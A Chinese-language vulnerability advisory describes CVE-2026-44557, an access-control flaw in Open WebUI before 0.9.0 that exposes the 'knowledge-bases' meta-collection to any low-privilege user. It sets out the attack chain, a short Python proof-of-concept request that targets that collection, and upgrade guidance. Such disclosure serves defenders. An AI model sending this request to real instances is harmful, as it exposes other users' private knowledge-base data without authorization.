IPBUF安全漏洞报告
English
CVE-2026-44557 CVSS 4.3 中危

CVE-2026-44557 Open WebUI 信息泄露漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-44557
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

信息泄露权限绕过Open WebUI访问控制失效

漏洞概述

Open WebUI是一个自托管的人工智能平台。在0.9.0版本之前,由于_validate_collection_access函数使用了不完整的白名单机制,未对user-memory-*和file-*以外的集合(如系统级knowledge-bases元集合)进行所有权校验。这导致任何经过身份验证的用户都可以通过检索查询端点直接查询该元集合,从而获取实例上所有知识库的全局索引信息,造成信息泄露。

技术细节

该漏洞的根本原因在于Open WebUI后端代码中`_validate_collection_access`函数的访问控制逻辑缺陷。该函数设计初衷是对集合访问进行权限校验,但其实现仅针对特定的命名模式(如`user-memory-*`和`file-*`)强制执行所有权检查。对于不符合这些模式的集合名称,系统默认放行,未进一步验证请求者是否具有访问权限。具体而言,系统级元集合“knowledge-bases”存储了实例上所有知识库的ID、名称和描述等敏感元数据。由于它不匹配受保护的命名模式,攻击者只需拥有低权限账号,即可构造特定的检索查询请求,直接访问该元集合。这绕过了预期的多租户隔离机制,使得攻击者能够遍历和导出其他用户的私有知识库信息,获取全局索引。这属于典型的水平越权漏洞,严重破坏了数据的机密性隔离。

攻击链分析

STEP 1
步骤1
攻击者注册或登录Open WebUI平台,获取低权限用户的会话凭证。
STEP 2
步骤2
攻击者分析API端点,发现用于查询集合数据的检索接口。
STEP 3
步骤3
攻击者构造特殊的HTTP请求,将集合名称(collection)指定为系统级的“knowledge-bases”。
STEP 4
步骤4
服务器端_validate_collection_access函数检测到“knowledge-bases”不在受保护模式列表中,放行请求。
STEP 5
步骤5
服务器返回所有知识库的元数据(ID、名称、描述),攻击者成功获取全局索引信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://target-open-webui-instance/api/v1/retrieval" # Payload to query the system-level meta-collection # Exploiting the incomplete allowlist in _validate_collection_access payload = { "collection": "knowledge-bases", # This bypasses the check "query": "*" # Retrieve all data } # Headers (Authentication required as per PR:L) headers = { "Authorization": "Bearer <VALID_USER_TOKEN>", "Content-Type": "application/json" } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("Vulnerability Exploited Successfully!") print("Leaked Data:", response.json()) else: print("Exploit failed or patched.")

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议立即将Open WebUI升级至0.9.0或更高版本以修复此漏洞。若无法立即升级,应严格限制对Open WebUI服务的网络访问权限,仅允许可信用户访问,并监控异常的查询请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表